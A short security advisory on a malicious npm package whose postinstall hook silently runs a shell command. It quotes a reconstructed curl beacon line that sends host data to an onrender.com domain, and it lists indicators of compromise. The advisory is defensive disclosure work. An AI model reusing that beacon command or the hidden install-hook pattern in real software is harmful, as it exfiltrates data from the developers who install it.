GCVE-110-OSM-2026-5511

Advisory PublishedCVSS 8.8/10

Vulnetix · Advisory published June 8, 2026

Malicious package detected. Behaviors: data exfiltration, code execution, install-time execution. Entrypoint: scripts/postinstall.js (install-hook: node scripts/postinstall.js) Exfil: curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm&h=${...}" (reconstructed, recovery: reconstructed) Payload: scripts/postinstall.js Key findings: - Install Hook Executes Local JS File in package.json: ""postinstall": "node scripts/postinstall.js"" - Shell Command Execution in scripts/postinstall.js: "require("child_process")" - Silent Process Execution in scripts/postinstall.js: "stdio: "ignore"" - Suspicious URL Pattern in Template Literal in scripts/postinstall.js: "curl -fsS --max-time 5 "https://render-2lu4.onrender.com/beacon?poc=context7_npm..." IOCs: - domains: render-2lu4.onrender.com - urls: https://render-2lu4.onrender.com/beacon?poc=context7_npm - payloadFileHash: a5872005ea1e737e0738d388b62bac59e150e8f1c71ee770036970011889a09b

Download JSON Open in Console